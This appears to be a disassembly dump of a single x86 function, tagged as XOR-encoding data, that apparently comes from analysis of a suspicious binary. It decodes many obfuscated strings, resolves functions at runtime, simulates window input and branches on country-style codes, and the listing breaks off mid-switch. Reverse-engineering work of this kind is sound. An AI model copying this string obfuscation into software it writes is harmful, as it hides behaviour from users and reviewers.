Function at 0x402143
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a8
push ebx
push esi
push edi
push 0x17
push 0
push 0x40b6e0
lea ecx, [ebp - 0xc]
call fcn.00402069
mov cl, byte [0x40c0a1]
and dword [ebp - 0x28], 0
xor dl, dl
test cl, cl
jbe 0x402194
mov esi, dword [0x40c0a4]
lea eax, [ebp - 0x178]
mov edi, eax
sub esi, edi
mov bl, byte [esi + eax]
xor bl, dl
xor bl, byte [0x40c0a0]
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x402180
mov cl, byte [0x40c0d1]
xor dl, dl
test cl, cl
jbe 0x4021c4
mov esi, dword [0x40c0d4]
lea eax, [ebp - 0x150]
mov edi, eax
sub esi, edi
mov bl, byte [esi + eax]
xor bl, dl
xor bl, byte [0x40c0d0]
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x4021b0
lea eax, [ebp - 0x178]
test eax, eax
je 0x4021fc
call fcn.00401e03
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0xc]
mov esi, dword [edi]
jmp 0x4021f8
test esi, esi
je 0x4021fc
push dword [esi + 0x30]
lea eax, [ebp - 0x178]
push eax
call 0x40a28c
pop ecx
pop ecx
test eax, eax
je 0x402217
mov esi, dword [esi]
cmp esi, edi
jne 0x4021dd
xor edi, edi
lea eax, [ebp - 0x150]
test eax, eax
je 0x40223f
call fcn.00401e03
mov eax, dword [eax + 0xc]
mov ebx, dword [eax + 0xc]
mov esi, dword [ebx]
jmp 0x40223b
mov edi, dword [esi + 0x18]
jmp 0x4021fe
test esi, esi
je 0x40223f
push dword [esi + 0x30]
lea eax, [ebp - 0x150]
push eax
call 0x40a28c
pop ecx
pop ecx
test eax, eax
je 0x4026c1
mov esi, dword [esi]
cmp esi, ebx
jne 0x40221c
and dword [ebp - 8], 0
test edi, edi
je 0x402c52
cmp dword [ebp - 8], 0
je 0x402c52
mov cl, byte [0x40c101]
xor dl, dl
test cl, cl
jbe 0x402285
mov esi, dword [0x40c104]
lea eax, [ebp - 0x104]
mov ebx, eax
sub esi, ebx
mov bl, byte [esi + eax]
xor bl, byte [0x40c100]
xor bl, dl
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x402271
xor eax, eax
mov cl, byte [ebp + eax*2 - 0x104]
mov byte [ebp + eax - 0x104], cl
inc eax
cmp eax, 0xb
jl 0x402287
mov cl, byte [0x40c289]
xor dl, dl
mov byte [ebp - 0xf9], 0
test cl, cl
jbe 0x4022d2
mov esi, dword [0x40c28c]
lea eax, [ebp - 0x13c]
mov ebx, eax
sub esi, ebx
mov bl, byte [esi + eax]
xor bl, byte [0x40c288]
xor bl, dl
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x4022be
xor eax, eax
mov cl, byte [ebp + eax*2 - 0x13c]
mov byte [ebp + eax - 0x13c], cl
inc eax
cmp eax, 0xd
jl 0x4022d4
mov cl, byte [0x40c259]
xor dl, dl
mov byte [ebp - 0x12f], 0
test cl, cl
jbe 0x40231f
mov esi, dword [0x40c25c]
lea eax, [ebp - 0xbc]
mov ebx, eax
sub esi, ebx
mov bl, byte [esi + eax]
xor bl, byte [0x40c258]
xor bl, dl
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x40230b
xor eax, eax
mov cl, byte [ebp + eax*2 - 0xbc]
mov byte [ebp + eax - 0xbc], cl
inc eax
cmp eax, 0xa
jl 0x402321
mov cl, byte [0x40c1e9]
xor dl, dl
mov byte [ebp - 0xb2], 0
test cl, cl
jbe 0x40236c
mov esi, dword [0x40c1ec]
lea eax, [ebp - 0xa4]
mov ebx, eax
sub esi, ebx
mov bl, byte [esi + eax]
xor bl, byte [0x40c1e8]
xor bl, dl
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x402358
xor eax, eax
mov cl, byte [ebp + eax*2 - 0xa4]
mov byte [ebp + eax - 0xa4], cl
inc eax
cmp eax, 8
jl 0x40236e
mov cl, byte [0x40c121]
xor dl, dl
mov byte [ebp - 0x9c], 0
test cl, cl
jbe 0x4023b9
mov esi, dword [0x40c124]
lea eax, [ebp - 0xd4]
mov ebx, eax
sub esi, ebx
mov bl, byte [esi + eax]
xor bl, byte [0x40c120]
xor bl, dl
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x4023a5
xor eax, eax
mov cl, byte [ebp + eax*2 - 0xd4]
mov byte [ebp + eax - 0xd4], cl
inc eax
cmp eax, 0xa
jl 0x4023bb
mov cl, byte [0x40c221]
xor dl, dl
mov byte [ebp - 0xca], 0
test cl, cl
jbe 0x402406
mov esi, dword [0x40c224]
lea eax, [ebp - 0x120]
mov ebx, eax
sub esi, ebx
mov bl, byte [esi + eax]
xor bl, byte [0x40c220]
xor bl, dl
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x4023f2
xor eax, eax
mov cl, byte [ebp + eax*2 - 0x120]
mov byte [ebp + eax - 0x120], cl
inc eax
cmp eax, 0xc
jl 0x402408
mov cl, byte [0x40c229]
xor dl, dl
mov byte [ebp - 0x114], 0
test cl, cl
jbe 0x402453
mov esi, dword [0x40c22c]
lea eax, [ebp - 0x90]
mov ebx, eax
sub esi, ebx
mov bl, byte [esi + eax]
xor bl, byte [0x40c228]
xor bl, dl
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x40243f
xor eax, eax
mov cl, byte [ebp + eax*2 - 0x90]
mov byte [ebp + eax - 0x90], cl
inc eax
cmp eax, 8
jl 0x402455
mov cl, byte [0x40c2f1]
xor dl, dl
mov byte [ebp - 0x88], 0
test cl, cl
jbe 0x4024a0
mov esi, dword [0x40c2f4]
lea eax, [ebp - 0xec]
mov ebx, eax
sub esi, ebx
mov bl, byte [esi + eax]
xor bl, byte [0x40c2f0]
xor bl, dl
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x40248c
xor eax, eax
mov cl, byte [ebp + eax*2 - 0xec]
mov byte [ebp + eax - 0xec], cl
inc eax
cmp eax, 0xa
jl 0x4024a2
mov cl, byte [0x40c2e9]
xor dl, dl
mov byte [ebp - 0xe2], 0
test cl, cl
jbe 0x4024ed
mov esi, dword [0x40c2ec]
lea eax, [ebp - 0x1c0]
mov ebx, eax
sub esi, ebx
mov bl, byte [esi + eax]
xor bl, byte [0x40c2e8]
xor bl, dl
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x4024d9
xor eax, eax
mov cl, byte [ebp + eax*2 - 0x1c0]
mov byte [ebp + eax - 0x1c0], cl
inc eax
cmp eax, 0x10
jl 0x4024ef
mov cl, byte [0x40c2a9]
xor dl, dl
mov byte [ebp - 0x1b0], 0
test cl, cl
jbe 0x40253a
mov esi, dword [0x40c2ac]
lea eax, [ebp - 0x1e8]
mov ebx, eax
sub esi, ebx
mov bl, byte [esi + eax]
xor bl, byte [0x40c2a8]
xor bl, dl
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x402526
xor eax, eax
mov cl, byte [ebp + eax*2 - 0x1e8]
mov byte [ebp + eax - 0x1e8], cl
inc eax
cmp eax, 0x13
jl 0x40253c
mov cl, byte [0x40c071]
xor dl, dl
mov byte [ebp - 0x1d5], 0
test cl, cl
jbe 0x402587
mov esi, dword [0x40c074]
lea eax, [ebp - 0x214]
mov ebx, eax
sub esi, ebx
mov bl, byte [esi + eax]
xor bl, byte [0x40c070]
xor bl, dl
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x402573
xor eax, eax
mov cl, byte [ebp + eax*2 - 0x214]
mov byte [ebp + eax - 0x214], cl
inc eax
cmp eax, 0x15
jl 0x402589
mov cl, byte [0x40c1a1]
xor dl, dl
mov byte [ebp - 0x1ff], 0
test cl, cl
jbe 0x4025d4
mov esi, dword [0x40c1a4]
lea eax, [ebp - 0x19c]
mov ebx, eax
sub esi, ebx
mov bl, byte [esi + eax]
xor bl, byte [0x40c1a0]
xor bl, dl
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x4025c0
xor eax, eax
mov cl, byte [ebp + eax*2 - 0x19c]
mov byte [ebp + eax - 0x19c], cl
inc eax
cmp eax, 0x10
jl 0x4025d6
mov esi, dword [0x40a02c]
lea eax, [ebp - 0x104]
push eax
push edi
mov byte [ebp - 0x18c], 0
call esi
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x13c]
push eax
push edi
call esi
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0xbc]
push eax
push edi
call esi
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0xa4]
push eax
push edi
call esi
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0xd4]
push eax
push edi
call esi
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x120]
push eax
push edi
call esi
lea eax, [ebp - 0x90]
push eax
push edi
call esi
lea eax, [ebp - 0xec]
push eax
push edi
call esi
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c0]
push eax
push dword [ebp - 8]
call esi
mov ebx, eax
lea eax, [ebp - 0x1e8]
push eax
push edi
call esi
lea eax, [ebp - 0x214]
push eax
push edi
call esi
lea eax, [ebp - 0x19c]
push eax
push edi
call esi
lea ecx, [ebp - 0xc]
mov dword [0x40c31c], 1
call fcn.00401e9a
push eax
push 0x40b62c
push 0x17
push 0
push 0x40b6e0
call ebx
test eax, eax
jl 0x402c52
mov ecx, dword [ebp - 0xc]
test ecx, ecx
jne 0x4026cc
push 0x80004003
call 0x40a45c
mov eax, dword [esi + 0x18]
mov dword [ebp - 8], eax
jmp 0x402243
lea eax, [ebp - 8]
push eax
call fcn.00401f6b
mov ecx, dword [eax]
test ecx, ecx
je 0x4026b7
call fcn.00401d3e
xor ecx, ecx
cmp cx, ax
mov eax, dword [ebp - 8]
sete bl
test eax, eax
je 0x4026f5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [0x40a028]
test bl, bl
je 0x402738
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4026b7
lea eax, [ebp - 8]
push eax
call fcn.00401f6b
mov ecx, dword [eax]
test ecx, ecx
je 0x4026b7
push 0xffffffffffffffff
push 0xffffffffffffffff
call fcn.00401d11
mov ebx, eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x40272d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
test ebx, ebx
jl 0x402738
push 0x7530
call edi
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4026b7
lea eax, [ebp - 8]
push eax
call fcn.00401f6b
mov ecx, dword [eax]
test ecx, ecx
je 0x4026b7
call fcn.00401d3e
xor ecx, ecx
cmp cx, ax
mov eax, dword [ebp - 8]
sete bl
test eax, eax
je 0x402770
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
test bl, bl
jne 0x402c52
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4026b7
push 0
push 6
call fcn.00401d91
test eax, eax
jge 0x4027b9
xor esi, esi
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4026b7
push 0
push 6
call fcn.00401d91
test eax, eax
jge 0x402c52
inc esi
cmp esi, 0xa
jl 0x402792
jmp 0x402c52
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4026b7
call fcn.00401d6a
test eax, eax
je 0x402be8
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4026b7
call fcn.00401d6a
cmp eax, 1
jne 0x402c52
mov cl, byte [0x40c031]
mov byte [ebp - 1], 0
test cl, cl
jbe 0x402827
mov edx, dword [0x40c034]
lea eax, [ebp - 0x274]
mov ebx, eax
sub edx, ebx
mov dword [ebp - 8], edx
jmp 0x402810
mov edx, dword [ebp - 8]
mov dl, byte [edx + eax]
xor dl, byte [0x40c030]
xor dl, byte [ebp - 1]
inc byte [ebp - 1]
mov byte [eax], dl
inc eax
cmp byte [ebp - 1], cl
jb 0x40280d
mov cl, byte [0x40c271]
mov byte [ebp - 1], 0
test cl, cl
jbe 0x402864
mov edx, dword [0x40c274]
lea eax, [ebp - 0x22c]
mov ebx, eax
sub edx, ebx
mov dword [ebp - 8], edx
jmp 0x40284d
mov edx, dword [ebp - 8]
mov dl, byte [edx + eax]
xor dl, byte [0x40c270]
xor dl, byte [ebp - 1]
inc byte [ebp - 1]
mov byte [eax], dl
inc eax
cmp byte [ebp - 1], cl
jb 0x40284a
mov cl, byte [0x40c099]
mov byte [ebp - 1], 0
test cl, cl
jbe 0x4028a1
mov edx, dword [0x40c09c]
lea eax, [ebp - 0x2a8]
mov ebx, eax
sub edx, ebx
mov dword [ebp - 8], edx
jmp 0x40288a
mov edx, dword [ebp - 8]
mov dl, byte [edx + eax]
xor dl, byte [0x40c098]
xor dl, byte [ebp - 1]
inc byte [ebp - 1]
mov byte [eax], dl
inc eax
cmp byte [ebp - 1], cl
jb 0x402887
mov cl, byte [0x40c1c9]
mov byte [ebp - 1], 0
test cl, cl
jbe 0x4028de
mov edx, dword [0x40c1cc]
lea eax, [ebp - 0x250]
mov ebx, eax
sub edx, ebx
mov dword [ebp - 8], edx
jmp 0x4028c7
mov edx, dword [ebp - 8]
mov dl, byte [edx + eax]
xor dl, byte [0x40c1c8]
xor dl, byte [ebp - 1]
inc byte [ebp - 1]
mov byte [eax], dl
inc eax
cmp byte [ebp - 1], cl
jb 0x4028c4
push 1
call dword [ebp - 0x24]
and dword [ebp - 8], 0
mov ebx, 0xfa
push 0
lea eax, [ebp - 0x274]
push eax
call dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x402929
cmp dword [ebp - 8], 0x14
jl 0x40293f
push eax
lea eax, [ebp - 0x22c]
push eax
call dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x402929
push eax
lea eax, [ebp - 0x2a8]
push eax
call dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40293f
push 0
lea ecx, [ebp - 0x250]
push ecx
push 0
push eax
call dword [ebp - 0x64]
mov dword [ebp - 0x1c], eax
test eax, eax
jne 0x402950
push ebx
call edi
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x78
jl 0x4028ec
jmp 0x402be3
push 5
push dword [ebp - 0x14]
call dword [ebp - 0x2c]
push 0x3e8
call edi
push dword [ebp - 0x14]
call dword [ebp - 0x20]
push 0x1f4
call edi
push dword [ebp - 0x1c]
call dword [ebp - 0x20]
mov ebx, 0x96
push ebx
call edi
push dword [ebp - 0x1c]
call dword [ebp - 0x10]
push 1
push dword [ebp - 0x14]
push 0x21
push dword [ebp - 0x1c]
call dword [0x40a0b8]
push ebx
call edi
push 0
push 9
push 0x100
push dword [ebp - 0x1c]
call dword [0x40a0b8]
push 0x32
call edi
mov al, byte [0x40c0a1]
mov byte [ebp - 1], 0
test al, al
jbe 0x4029e2
mov edx, dword [0x40c0a4]
lea ecx, [ebp - 0x7c]
mov ebx, ecx
sub edx, ebx
mov dword [ebp - 0x10], edx
jmp 0x4029cb
mov edx, dword [ebp - 0x10]
mov dl, byte [edx + ecx]
xor dl, byte [ebp - 1]
xor dl, byte [0x40c0a0]
inc byte [ebp - 1]
mov byte [ecx], dl
inc ecx
cmp byte [ebp - 1], al
jb 0x4029c8
mov cl, byte [0x40c151]
mov byte [ebp - 1], 0
test cl, cl
jbe 0x402a1c
mov edx, dword [0x40c154]
lea eax, [ebp - 0x44]
mov ebx, eax
sub edx, ebx
mov dword [ebp - 0x10], edx
jmp 0x402a05
mov edx, dword [ebp - 0x10]
mov dl, byte [edx + eax]
xor dl, byte [0x40c150]
xor dl, byte [ebp - 1]
inc byte [ebp - 1]
mov byte [eax], dl
inc eax
cmp byte [ebp - 1], cl
jb 0x402a02
xor eax, eax
mov cl, byte [ebp + eax*2 - 0x44]
mov byte [ebp + eax - 0x44], cl
inc eax
cmp eax, 9
jl 0x402a1e
lea eax, [ebp - 0x7c]
mov byte [ebp - 0x3b], 0
test eax, eax
je 0x402a68
call fcn.00401e03
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ebx, dword [eax]
mov dword [ebp - 0x10], eax
cmp ebx, eax
je 0x402a68
test ebx, ebx
je 0x402a68
push dword [ebx + 0x30]
lea eax, [ebp - 0x7c]
push eax
call 0x40a28c
pop ecx
pop ecx
test eax, eax
je 0x402adb
mov ebx, dword [ebx]
cmp ebx, dword [ebp - 0x10]
jne 0x402a4b
xor ebx, ebx
test ebx, ebx
je 0x402a9c
lea eax, [ebp - 0x44]
push eax
push ebx
call esi
push 0x10
xor edx, edx
pop ebx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], edx
push 0x1c
xor ecx, ecx
lea edx, [ebp - 0x60]
inc ecx
mov word [ebp - 0x5c], bx
push edx
xor ebx, ebx
push ecx
mov dword [ebp - 0x60], ecx
mov word [ebp - 0x5a], bx
call eax
push 0x32
call edi
mov ebx, dword [0x40a0b8]
push 0
push 9
push 0x100
push dword [ebp - 0x1c]
call ebx
push 0x32
call edi
mov al, byte [0x40c0a1]
mov byte [ebp - 1], 0
test al, al
jbe 0x402aff
lea ecx, [ebp - 0x7c]
mov dword [ebp - 8], ecx
mov ecx, dword [0x40c0a4]
lea edx, [ebp - 0x7c]
sub ecx, edx
mov dword [ebp - 0x10], ecx
jmp 0x402ae3
mov ebx, dword [ebx + 0x18]
jmp 0x402a6a
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov cl, byte [ecx + edx]
xor cl, byte [ebp - 1]
xor cl, byte [0x40c0a0]
inc byte [ebp - 1]
inc dword [ebp - 8]
mov byte [edx], cl
cmp byte [ebp - 1], al
jb 0x402ae0
cmp byte [0x40c151], 0
mov byte [ebp - 1], 0
jbe 0x402b3e
mov ecx, dword [0x40c154]
lea eax, [ebp - 0x44]
mov edx, eax
sub ecx, edx
mov dword [ebp - 0x10], ecx
jmp 0x402b21
mov ecx, dword [ebp - 0x10]
mov cl, byte [ecx + eax]
xor cl, byte [0x40c150]
xor cl, byte [ebp - 1]
inc byte [ebp - 1]
mov byte [eax], cl
mov cl, byte [ebp - 1]
inc eax
cmp cl, byte [0x40c151]
jb 0x402b1e
xor eax, eax
mov cl, byte [ebp + eax*2 - 0x44]
mov byte [ebp + eax - 0x44], cl
inc eax
cmp eax, 9
jl 0x402b40
lea eax, [ebp - 0x7c]
mov byte [ebp - 0x3b], 0
test eax, eax
je 0x402b97
call fcn.00401e03
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx]
mov dword [ebp - 0x10], ecx
cmp eax, ecx
jmp 0x402b92
test eax, eax
je 0x402b97
mov eax, dword [ebp - 8]
push dword [eax + 0x30]
lea eax, [ebp - 0x7c]
push eax
call 0x40a28c
pop ecx
test eax, eax
mov eax, dword [ebp - 8]
pop ecx
je 0x402c64
mov eax, dword [eax]
cmp eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jne 0x402b6d
xor eax, eax
test eax, eax
je 0x402bcd
lea ecx, [ebp - 0x44]
push ecx
push eax
call esi
push 0x10
pop edx
mov word [ebp - 0x5c], dx
xor edx, edx
and dword [ebp - 0x54], edx
and dword [ebp - 0x50], edx
mov word [ebp - 0x5a], dx
push 0x1c
xor ecx, ecx
lea edx, [ebp - 0x60]
inc ecx
push edx
push ecx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x58], 2
call eax
push 0x32
call edi
push 0
push 0xd
push 0x100
push dword [ebp - 0x1c]
call ebx
push 0x32
call edi
push 0
call dword [ebp - 0x24]
push 1
call dword [ebp - 0x24]
mov cl, byte [0x40c199]
xor dl, dl
test cl, cl
jbe 0x402c1d
mov esi, dword [0x40c19c]
lea eax, [ebp - 0x160]
mov ebx, eax
sub esi, ebx
mov bl, byte [esi + eax]
xor bl, byte [0x40c198]
xor bl, dl
inc dl
mov byte [eax], bl
inc eax
cmp dl, cl
jb 0x402c09
xor esi, esi
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4026b7
call fcn.00401d6a
test eax, eax
je 0x402c6c
push 0x3e8
call edi
inc esi
cmp esi, 0xa
jl 0x402c1f
mov ebx, dword [ebp - 0x28]
push 0
call dword [ebp - 0x24]
test ebx, ebx
je 0x402c52
mov eax, dword [ebx]
push ebx
call dword [eax + 8]
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x402c5f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [eax + 0x18]
jmp 0x402b99
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4026b7
lea eax, [ebp - 0x10]
push eax
call fcn.00401f39
push dword [eax]
lea ecx, [ebp - 0x28]
call fcn.00401eb0
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x402c97
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [ebp - 0x28], 0
mov dword [ebp - 0x14], 1
je 0x4026b7
mov ebx, dword [ebp - 0x28]
mov ecx, ebx
mov edi, 0x40cba0
mov esi, 0x208
call fcn.00401ce6
cmp dword [ebp - 0x14], eax
jg 0x402c43
push dword [ebp - 0x14]
lea eax, [ebp - 0x10]
push eax
mov ecx, ebx
call fcn.00401f04
mov ecx, dword [eax]
test ecx, ecx
je 0x4026b7
lea eax, [ebp - 0x20]
push eax
call fcn.00402098
mov eax, dword [eax]
xor ebx, ebx
cmp eax, ebx
je 0x402cf1
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x402cf4
mov dword [ebp - 8], ebx
mov ecx, dword [ebp - 0x20]
cmp ecx, ebx
je 0x402d03
call fcn.00401ede
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x10]
cmp eax, ebx
je 0x402d10
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea eax, [ebp - 0x160]
push eax
push dword [ebp - 8]
call 0x40a28c
pop ecx
pop ecx
test eax, eax
je 0x4030b2
push esi
push ebx
push edi
call 0x40a292
push esi
push ebx
push 0x40cda8
call 0x40a292
push esi
push ebx
push 0x40c588
call 0x40a292
mov ecx, dword [0x40c378]
movzx edx, byte [0x40c37a]
movzx ax, ch
shl ax, 8
movzx eax, ax
shl edx, 0x10
movzx ecx, cl
or eax, edx
or eax, ecx
mov ecx, 0x4d5352
add esp, 0x24
cmp eax, ecx
ja 0x40329f
je 0x403535
mov ecx, 0x465441
cmp eax, ecx
ja 0x4030e7
je 0x402f3b
mov ecx, 0x43494e
cmp eax, ecx
ja 0x402e8e
je 0x403156
mov ecx, 0x41564c
cmp eax, ecx
ja 0x402e42
je 0x402e33
mov ecx, 0x415242
cmp eax, ecx
ja 0x402e07
je 0x40360e
cmp eax, 0x41444d
je 0x40345e
cmp eax, 0x414642
je 0x402f3b
cmp eax, 0x414854
je 0x402df8
cmp eax, 0x414c41
jne 0x402e24
mov dword [0x40c024], 0x57
jmp 0x402f45
mov dword [0x40c024], 0x45
jmp 0x402f45
cmp eax, 0x415246
je 0x402f3b
cmp eax, 0x415355
je 0x402e24
cmp eax, 0x415449
je 0x403535
mov dword [0x40c024], 0x4b
jmp 0x402f45
mov dword [0x40c024], 0x23
jmp 0x402f45
cmp eax, 0x415a44
je 0x402edc
cmp eax, 0x424147
je 0x402f3b
cmp eax, 0x424c41
je 0x4030c9
cmp eax, 0x424e47
je 0x40360e
cmp eax, 0x425253
je 0x4035a3
cmp eax, 0x425543
je 0x403156
cmp eax, 0x43414d
jmp 0x403608
mov ecx, 0x454155
cmp eax, ecx
ja 0x402ef4
je 0x402edc
sub eax, 0x435247
je 0x403405
sub eax, 0xf10d
je 0x402edc
sub eax, 0x7f9
je 0x4030c9
sub eax, 0x101
je 0x403594
sub eax, 0x1f3
je 0x402ee8
sub eax, 7
je 0x403156
sub eax, 0x50b
jne 0x402e24
mov dword [0x40c024], 0x10
jmp 0x402f45
mov dword [0x40c024], 0x16
jmp 0x402f45
sub eax, 0x454843
je 0x4030d8
sub eax, 0x109
je 0x4035b2
sub eax, 0x501
je 0x4030c9
sub eax, 0x906
je 0x402de9
sub eax, 0x2f0
je 0x4030ba
sub eax, 0xe700
je 0x402f3b
sub eax, 0xa
jne 0x402e24
mov dword [0x40c024], 0x52
call dword [0x40a018]
push eax
call 0x40a29e
mov eax, dword [0x40c024]
shl eax, 3
mov dl, byte [eax + 0x40c029]
pop ecx
mov byte [ebp - 1], bl
test dl, dl
jbe 0x402f8e
mov cl, byte [eax + 0x40c028]
mov esi, dword [eax + 0x40c02c]
mov byte [ebp - 0x15], cl
mov ecx, edi
sub esi, edi
mov al, byte [esi + ecx]
xor al, byte [ebp - 1]
xor al, byte [ebp - 0x15]
inc byte [ebp - 1]
mov byte [ecx], al
inc ecx
cmp byte [ebp - 1], dl
jb 0x402f7a
mov edi, 0x40cba0
push 2
dec edi
pop ebx
dec edi
mov ax, word [edi + 2]
add edi, ebx
test ax, ax
jne 0x402f98
mov esi, 0x40b68c
movsd dword es:[edi], dword [esi]
call 0x40a298
push 5
cdq
pop ecx
idiv ecx
mov edx, dword [edx*4 + 0x40c010]
mov ecx, edx
mov ax, word [edx]
add edx, ebx
test ax, ax
jne 0x402fbd
sub edx, ecx
mov edi, 0x40cba0
dec edi
mov esi, ecx
dec edi
mov ax, word [edi + 2]
add edi, ebx
test ax, ax
jne 0x402fd2
mov eax, dword [ebp - 8]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dx, word [eax]
add eax, ebx
test dx, dx
jne 0x402ff0
mov edx, 0x40cba0
sub eax, ecx
mov edi, edx
dec edi
mov esi, ecx
dec edi
mov cx, word [edi + 2]
add edi, ebx
test cx, cx
jne 0x403007
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
dec edi
dec edi
mov ax, word [edi + 2]
add edi, ebx
test ax, ax
jne 0x403024
mov esi, 0x40b68c
movsd dword es:[edi], dword [esi]
call 0x40a298
push 5
cdq
pop ecx
idiv ecx
mov edx, dword [edx*4 + 0x40c308]
mov ecx, edx
mov ax, word [edx]
add edx, ebx
test ax, ax
jne 0x403049
sub edx, ecx
mov edi, 0x40cba0
dec edi
mov esi, ecx
dec edi
mov ax, word [edi + 2]
add edi, ebx
test ax, ax
jne 0x40305e
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0xc]
test esi, esi
je 0x4026b7
push ecx
mov ecx, esp
push 0x40cba0
call fcn.00401e0a
push ecx
mov ecx, esp
push dword [ebp - 8]
call fcn.00401e0a
lea eax, [ebp - 0x2c]
push eax
mov ecx, esi
call fcn.004020d2
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x4030b2
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
inc dword [ebp - 0x14]
jmp 0x402ca8
mov dword [0x40c024], 0x2b
jmp 0x402f45
mov dword [0x40c024], 0xd
jmp 0x402f45
mov dword [0x40c024], 8
jmp 0x402f45
mov ecx, 0x4b4e44
cmp eax, ecx
ja 0x4031a4
je 0x403224
mov ecx, 0x484942
cmp eax, ecx
ja 0x403165
je 0x4035a3
cmp eax, 0x465547
je 0x402f3b
cmp eax, 0x474353
je 0x4035a3
cmp eax, 0x47444d
je 0x402f3b
cmp eax, 0x474641
je 0x402edc
cmp eax, 0x474b48
je 0x403323
cmp eax, 0x474f43
je 0x402f3b
cmp eax, 0x475241
jne 0x402e24
mov dword [0x40c024], 0x51
jmp 0x402f45
sub eax, 0x494442
je 0x402f3b
sub eax, 0x602
je 0x402edc
sub eax, 0x209
je 0x402f3b
sub eax, 0x5f6
je 0x403156
dec eax
dec eax
je 0x402edc
sub eax, 0xb
je 0x403156
sub eax, 0x1f8
jmp 0x402f35
mov ecx, 0x4d4559
cmp eax, ecx
ja 0x403242
je 0x402edc
mov ecx, 0x4c4850
cmp eax, ecx
ja 0x4031fc
je 0x4031ed
cmp eax, 0x4b5653
je 0x4031de
cmp eax, 0x4c4542
je 0x403594
cmp eax, 0x4c4843
jmp 0x403150
mov dword [0x40c024], 0x27
jmp 0x402f45
mov dword [0x40c024], 0x5a
jmp 0x402f45
cmp eax, 0x4c4f42
jb 0x402e24
cmp eax, 0x4c4f43
jbe 0x403156
cmp eax, 0x4c4f50
je 0x403233
cmp eax, 0x4c5247
jne 0x402e24
mov dword [0x40c024], 0x3c
jmp 0x402f45
mov dword [0x40c024], 7
jmp 0x402f45
sub eax, 0x4d4c42
je 0x402f3b
sub eax, 0x214
je 0x403290
sub eax, 0xed
je 0x402edc
dec eax
je 0x403156
sub eax, 0xe
je 0x403535
dec eax
je 0x402edc
sub eax, 0x2ee
jne 0x402e24
mov dword [0x40c024], 0x3d
jmp 0x402f45
mov dword [0x40c024], 0x12
jmp 0x402f45
mov ecx, 0x524c42
cmp eax, ecx
ja 0x40346d
je 0x40345e
mov ecx, 0x4f434d
cmp eax, ecx
ja 0x4033a9
je 0x402f3b
mov ecx, 0x4e4843
cmp eax, ecx
ja 0x403332
je 0x403323
sub eax, 0x4d5447
je 0x403156
sub eax, 0xed09
je 0x403156
sub eax, 0xfc
je 0x402edc
sub eax, 0x1fd
je 0x403314
sub eax, 0xa
je 0x402edc
sub eax, 0xef
je 0x402f3b
sub eax, 0x14
jmp 0x403150
mov dword [0x40c024], 0x47
jmp 0x402f45
mov dword [0x40c024], 0x39
jmp 0x402f45
sub eax, 0x4e4946
je 0x40339a
dec eax
je 0x402f3b
sub eax, 0x408
je 0x402edc
